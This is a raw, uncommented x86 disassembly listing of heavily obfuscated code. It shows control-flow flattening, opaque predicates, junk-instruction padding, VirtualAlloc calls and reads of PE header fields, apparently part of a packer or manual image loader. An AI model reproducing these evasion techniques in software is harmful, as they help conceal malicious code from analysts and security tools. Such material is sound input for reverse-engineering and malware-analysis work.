mov bl, 1
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bl, dh
or cl, ch
xor bl, cl
mov byte [ebp - 0x1fb], bl
xor al, 0xff
mov ch, 1
xor ch, 0
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 0
mov dh, bl
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, 1
xor ch, 0
mov dh, bh
xor dh, ch
mov ch, byte [ebp - 0x205]
and dh, bh
mov byte [ebp - 0x200], dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x201], bl
mov bl, 1
xor bl, 1
mov bh, dh
and bh, 0xff
and al, bl
mov byte [ebp - 0x204], al
mov al, byte [ebp - 0x201]
and al, 0xff
mov byte [ebp - 0x203], al
mov al, byte [ebp - 0x204]
and cl, bl
or bh, al
mov al, byte [ebp - 0x203]
or al, cl
mov cl, byte [ebp - 0x202]
xor bh, al
mov al, byte [ebp - 0x201]
or dh, al
mov al, byte [ebp - 0x200]
xor dh, 0xff
or bl, 1
and dh, bl
or bh, dh
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x1ff]
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x1fc], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov bl, ch
and bl, 0xff
and al, dh
mov byte [ebp - 0x1fe], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1fd], al
mov al, byte [ebp - 0x1fe]
and cl, dh
or bl, al
mov al, byte [ebp - 0x1fd]
or al, cl
mov cl, byte [ebp - 0x1fc]
xor bl, al
mov al, byte [ebp - 0x1fb]
or ch, bh
xor ch, 0xff
or dh, 1
and ch, dh
or bl, ch
mov bh, bl
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or bh, bl
or ch, dh
xor bh, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor bh, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1fa], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1fa]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1f9], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x1f9]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov cl, ah
and cl, 1
xor ah, 1
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3068627e
mov ecx, 0xecfe8a9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x472780ca
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edx, 0x88dd631f
add edx, 0
sub edx, 0x565f1904
sub edx, 0x88dd631f
add edx, 0x280a4140
sub edx, 1
sub edx, 0x280a4140
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x565f1904
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x31d37c1
sub esi, edx
add esi, 0x31d37c1
mov edx, ecx
add edx, 0xfcbf6825
sub edx, esi
sub edx, 0xfcbf6825
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, bl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or ch, cl
mov ah, 1
xor ah, 0
and ah, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ah, bh
or cl, dh
xor ah, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, ah
and dl, 0
xor ah, 0
or dl, ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and cl, ah
or ch, cl
xor ch, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or ch, dl
or cl, 1
xor ch, 0xff
and ch, cl
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, bl
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov bh, al
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, dl
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x733e471f
mov ecx, 0x43c6149c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x150], eax
mov eax, 0xf67c639c
mov ecx, 0xbda8145d
cmp dword [ebp - 0x68], 0
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0xc6d894cc
mov dword [ebp - 0x1f0], 0
jmp 0x48b820
mov dword [ebp - 0x1ec], 0xc6d894cc
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1f0], eax
jmp 0x48b820
mov ecx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x150]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1dc], eax
mov eax, 0x348cb3b3
mov ecx, 0x1ff76517
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edx, 0xa41a4441
add edx, 0
sub edx, 0x2441c4c1
sub edx, 0xa41a4441
xor esi, esi
sub esi, edx
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, 0xb0f05bd9
add edx, esi
sub edx, 0x406bb6c0
sub edx, 1
add edx, 0x406bb6c0
add edx, 0x2a6611e6
add edx, 0xb0f05bd9
sub edx, 0x2a6611e6
sub edx, 0x8cbefb5d
add edx, 0x1ec99373
add edx, 0x8cbefb5d
xor esi, esi
sub esi, 0x2441c4c1
add edx, esi
sub edx, 0x18d0d8d1
sub edx, 0x1ec99373
add edx, 0x18d0d8d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl cl
mov byte [ebp - 0x2de], cl
mov bh, dh
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and bh, ch
mov byte [ebp - 0x2e0], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x2df], al
mov al, byte [ebp - 0x2e0]
or dl, al
mov al, byte [ebp - 0x2df]
or bh, al
mov al, byte [ebp - 0x2de]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, dh
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bl, bh
or ah, ch
xor bl, ah
xor dh, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
or dh, ch
or ah, 0
xor dh, 0xff
and dh, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
mov ch, al
and ch, bh
or ah, ch
xor ah, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
xor bl, 0xff
mov ch, al
xor ch, bl
and ch, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov ch, cl
and ch, ah
xor cl, 0xff
and al, cl
or ch, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or bl, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov cl, 1
xor cl, 1
mov al, bl
xor al, cl
and al, bl
mov byte [ebp - 0x2dd], al
xor dl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 1
mov ah, 1
xor ah, 1
or al, cl
mov cl, byte [ebp - 0x2dd]
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x2dc], al
xor ch, 0xff
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 1
or ch, al
mov al, byte [ebp - 0x2dc]
or ah, 1
xor ch, 0xff
and ch, ah
mov byte [ebp - 0x2db], ch
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x2d7], dl
xor ch, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0x2d8], cl
and dl, 0xff
and al, cl
mov cl, byte [ebp - 0x2db]
mov byte [ebp - 0x2da], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x2d9], al
mov al, byte [ebp - 0x2d8]
and cl, al
mov al, byte [ebp - 0x2da]
or dl, al
mov al, byte [ebp - 0x2d9]
or al, cl
mov cl, byte [ebp - 0x2d8]
xor dl, al
mov al, byte [ebp - 0x2d7]
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x2d6], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bl, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x2d6]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa41a6f13
mov ecx, 0xc344d4fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x13c], eax
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edx, edx
sub edx, 0x97bc5c5c
add edx, 0xd8a6c48d
add edx, 0x97bc5c5c
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0x7718855e
sub edx, 0xd8a6c48d
sub edx, 0x7718855e
xor esi, esi
sub esi, edx
add esi, 0
mov edx, ecx
add edx, 0x43f3c91e
sub edx, esi
sub edx, 0x43f3c91e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x2ea], ch
cmp eax, 0xa
setl cl
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or bh, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov byte [ebp - 0x2ed], dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov bl, dl
and bl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or bl, al
mov al, byte [ebp - 0x2ed]
or dh, bh
xor bl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or bl, dl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
mov bh, ah
and bh, 1
mov byte [ebp - 0x2ec], bh
mov bh, dh
and bh, 0
and al, ah
mov byte [ebp - 0x2eb], al
mov al, byte [ebp - 0x2ec]
or ch, al
mov al, byte [ebp - 0x2eb]
or bh, al
mov al, byte [ebp - 0x2ea]
xor ch, bh
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x2e7], dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov bh, 1
xor bh, 0
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
or dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
xor ah, 0xff
mov ch, cl
xor ch, ah
and ch, cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ah
and cl, 0xff
and bh, dh
mov byte [ebp - 0x2e9], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x2e8], al
mov al, byte [ebp - 0x2e9]
or cl, al
mov al, byte [ebp - 0x2e8]
or bh, al
mov al, byte [ebp - 0x2e7]
xor cl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov ch, cl
xor ch, 0xff
mov dl, ah
and dl, ch
xor ah, 0xff
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or ah, cl
mov byte [ebp - 0x2e3], ah
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov cl, dl
and cl, ch
or dh, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
xor ah, 0xff
mov ch, 1
xor ch, 0
mov cl, 1
xor cl, 1
or ah, ch
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, 1
xor cl, 0
mov al, dh
xor al, cl
and al, dh
mov bl, bh
xor bl, 0xff
mov cl, dl
xor cl, bl
and cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x2e4], dl
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov byte [ebp - 0x2e6], al
mov al, bl
and al, 0
mov byte [ebp - 0x2e5], al
mov al, byte [ebp - 0x2e6]
and cl, ch
or dl, al
mov al, byte [ebp - 0x2e5]
or al, cl
mov cl, byte [ebp - 0x2e4]
xor dl, al
mov al, byte [ebp - 0x2e3]
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x2e2], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, al
mov al, byte [ebp - 0x2e2]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x2e1], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x2e1]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa41a6f13
mov ecx, 0x2570b219
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x348cb3b3
jmp 0x48b820
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.005b4c50
add esp, 0xc
imul ebx
inc esi
and edi, 0xb6
or edi, 0xa3
dec edx
bswap edx
ror edx, 0xba
neg edi
rcl eax, 0xc
dec edx
imul eax
or edx, 0xdd
neg edx
neg esi
not edx
bswap eax
dec esi
rcr edx, 0xc1
mov esi, 0x80
sbb edx, 0x27
and eax, 0xad
imul ebx
rol ebx, 0xae
inc edi
rol ebx, 0x80
inc esi
add edx, 0x35
bswap esi
sbb edi, 0xfe
bswap eax
neg eax
mov edi, 0xcf
imul edi
rcr edi, 0x4a
imul ebx
or eax, 0x82
imul esi
rcr edi, 0x7b
and edx, 0x55
neg ebx
rcr ebx, 0x60
inc eax
dec ebx
not esi
rol eax, 0xd7
ror edx, 0xa9
bswap eax
inc esi
rol esi, 0xe4
not edi
bswap edi
inc ebx
bswap ebx
rcl ebx, 0xc3
neg eax
sbb ebx, 0xf0
rcr ebx, 0x3c
dec ebx
sub ebx, 0x9a
not ebx
rol eax, 0x7a
sbb eax, 1
mov eax, 0x48
neg ebx
and eax, 0x64
inc ebx
sbb esi, 0x2b
ror edi, 0xb8
dec eax
inc eax
inc esi
bswap esi
sub esi, 0x34
bswap edi
neg esi
rol eax, 0xa6
inc ebx
bswap edi
rol edx, 0xfd
neg ebx
or edx, 0xd1
neg esi
bswap edx
ror edx, 0xa4
rcr ebx, 0x95
sbb esi, 0x8b
dec esi
inc ebx
bswap esi
imul edx
add ebx, 0xec
inc ebx
dec ebx
mov eax, 0x31
neg edx
imul esi
bswap edi
or ebx, 0x9f
rcl ebx, 0x33
rol esi, 0x52
sub esi, 0x4c
rol edx, 0x2c
sbb esi, 2
neg eax
rol edx, 0x80
ror eax, 0xf4
inc edi
ror ebx, 0x17
dec esi
add edi, 0xa3
or edx, 0x24
rcl edx, 0xbd
ror edx, 0xc7
neg eax
imul edi
or ebx, 0x6f
dec esi
inc esi
bswap esi
sbb edx, 0x33
or eax, 0xa8
bswap eax
bswap edx
rcl ebx, 0x99
ror ebx, 0x47
or esi, 0xe4
neg edi
or ebx, 0xd9
rcl edi, 0x1e
not eax
or edx, 0x34
bswap ebx
bswap eax
sbb esi, 0x6a
bswap edx
not esi
or ebx, 0x46
rcr ebx, 0x72
bswap eax
dec esi
sub ebx, 0xcf
rcl edi, 0x65
bswap edx
not esi
rol edi, 0x46
rol esi, 0x36
bswap edi
dec edi
sub esi, 0x9a
rcr ebx, 0x37
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1d8]
sub eax, 0x1280f240
add eax, 0xd4e8109d
add eax, 0x1280f240
add eax, 0xc915de22
add eax, 0x1f2a1ade
sub eax, 0xc915de22
sub eax, 0xdfc96e4
sub eax, 0xd4e8109d
add eax, 0xdfc96e4
mov ecx, 0xa9607ece
add ecx, 0
sub ecx, 0x18
sub ecx, 0xa9607ece
sub eax, 0xa88703b6
sub eax, ecx
add eax, 0xa88703b6
mov ecx, 0x33976bfe
add ecx, 0
sub ecx, 0x1f2a1ade
sub ecx, 0x33976bfe
add eax, 0xb7f53c5b
add eax, ecx
sub eax, 0xb7f53c5b
mov ecx, dword [ebp - 0x1d8]
movzx edx, word [ecx + 0x14]
add eax, 0xdfcf21d9
add eax, 0x9ac9f2c
sub eax, 0xdfcf21d9
add eax, 0x74cabe2
sub eax, 0xff9365b3
sub eax, 0x74cabe2
sub eax, 0x392311af
sub eax, 0x9ac9f2c
add eax, 0x392311af
add eax, 0xffd4d0fb
sub eax, 0x23f50ef
sub eax, 0xffd4d0fb
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x23f50ef
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x9c835bbc
add ecx, 0
sub ecx, eax
sub ecx, 0x9c835bbc
mov eax, 0xf344fc6b
add eax, 0
sub eax, 0xff9365b3
sub eax, 0xf344fc6b
add ecx, 0x23497843
add ecx, eax
sub ecx, 0x23497843
xor eax, eax
sub eax, ecx
add eax, 0
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1ec], 0xe4d1ea4f
jmp 0x48b820
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x130], eax
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov edi, 0x11adcbbf
add edi, 0
sub edi, 1
sub edi, 0x11adcbbf
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, 0xbf42fa29
add edx, 0x6fb163dc
add edx, 0xbf42fa29
add edx, 0x9d76beec
add edx, esi
sub edx, 0x9d76beec
xor esi, esi
sub esi, 0x6fb163dc
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x3c0], dl
cmp eax, 0xa
setl ch
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov ah, cl
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
mov dh, 1
xor dh, 1
mov dl, ah
xor dl, dh
and dl, ah
mov byte [ebp - 0x3c4], dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, dl
and ah, 0xff
and bh, dh
mov byte [ebp - 0x3c6], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x3c5], al
mov al, byte [ebp - 0x3c6]
or ah, al
mov al, byte [ebp - 0x3c5]
or bh, al
mov al, byte [ebp - 0x3c4]
xor ah, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x3ad], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, ah
or al, dl
xor dh, al
mov ah, ch
xor ah, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 1
mov al, dl
xor al, bl
and al, dl
mov bh, 1
xor bh, 1
xor dh, 0xff
mov dl, 1
xor dl, 1
or bh, dh
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x3c3], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x3c3]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, dl
xor ah, 0xff
